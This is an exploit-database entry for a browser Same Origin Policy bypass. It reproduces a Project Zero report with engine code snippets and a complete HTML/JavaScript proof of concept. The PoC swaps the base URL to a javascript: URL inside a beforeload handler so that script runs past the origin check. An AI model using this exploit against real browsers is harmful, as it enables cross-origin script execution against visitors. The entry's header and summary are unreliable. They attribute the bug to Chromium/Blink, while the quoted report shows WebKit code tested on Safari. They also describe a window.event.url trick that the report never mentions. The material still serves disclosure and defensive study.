Bypassing the Same Origin Policy check in Blink

vendor:

Chromium

by:

Project Zero

7,5

CVSS

HIGH

SOP Bypass

352

CWE

Product Name: Chromium

Affected Version From: N/A

Affected Version To: N/A

Patch Exists: Yes

Related CWE: N/A

CPE: N/A

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2017

Bypassing the Same Origin Policy check in Blink

When an object element loads a JavaScript URL(e.g., javascript:alert(1)), it checks whether it violates the Same Origin Policy or not. The SOP violation check is made in the method HTMLPlugInImageElement::allowedToLoadFrameURL. What was noticed is that there are two uses of document().completeURL for the same URL, and the method guardedDispatchBeforeLoadEvent dispatches a beforeload event. The beforeload event is dispatched before the SOP check, so a malicious page can set the URL of the object element to a javascript: URL, and then set window.event.url to a different URL in the beforeload handler, bypassing the SOP check.

Mitigation:

Ensure that the beforeload event is not used to bypass the SOP check.

Source

Exploit-DB raw data:

<!--
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1120

When an object element loads a JavaScript URL(e.g., javascript:alert(1)), it checks whether it violate the Same Origin Policy or not.

Here's some snippets of the logic.

void HTMLObjectElement::updateWidget(CreatePlugins createPlugins)
{
    ...
    String url = this->url(); 
    ...
    if (!allowedToLoadFrameURL(url))
        return;
    ...

    bool beforeLoadAllowedLoad = guardedDispatchBeforeLoadEvent(url);
    ...

    bool success = beforeLoadAllowedLoad && hasValidClassId();
    if (success)
        success = requestObject(url, serviceType, paramNames, paramValues);
    ...
}

bool HTMLPlugInImageElement::allowedToLoadFrameURL(const String& url)
{
    URL completeURL = document().completeURL(url);
    if (contentFrame() && protocolIsJavaScript(completeURL) && !document().securityOrigin().canAccess(contentDocument()->securityOrigin()))
        return false;
    return document().frame()->isURLAllowed(completeURL);
}

bool HTMLPlugInElement::requestObject(const String& url, const String& mimeType, const Vector<String>& paramNames, const Vector<String>& paramValues)
{
    if (m_pluginReplacement)
        return true;

    URL completedURL;
    if (!url.isEmpty())
        completedURL = document().completeURL(url);

    ReplacementPlugin* replacement = pluginReplacementForType(completedURL, mimeType);
    if (!replacement || !replacement->isEnabledBySettings(document().settings()))
        return false;

    LOG(Plugins, "%p - Found plug-in replacement for %s.", this, completedURL.string().utf8().data());

    m_pluginReplacement = replacement->create(*this, paramNames, paramValues);
    setDisplayState(PreparingPluginReplacement);
    return true;
}

The SOP violation check is made in the method HTMLPlugInImageElement::allowedToLoadFrameURL.

What I noticed is that there are two uses of |document().completeURL| for the same URL, and the method guardedDispatchBeforeLoadEvent dispatches a beforeloadevent that may execute JavaScript code after the SOP violation check. So if the base URL is changed like "javascript:///%0aalert(location);//" in the event handler, a navigation to the JavaScript URL will be made successfully.

Tested on Safari 10.0.3(12602.4.8).

PoC:
-->

<html>
<head>
</head>
<body>
<script>

let o = document.body.appendChild(document.createElement('object'));
o.onload = () => {
    o.onload = null;

    o.onbeforeload = () => {
        o.onbeforeload = null;

        let b = document.head.appendChild(document.createElement('base'));
        b.href = 'javascript:///%0aalert(location);//';
    };
    o.data = 'xxxxx';
};

o.type = 'text/html';
o.data = 'https://abc.xyz/';

</script>
</body>
</html>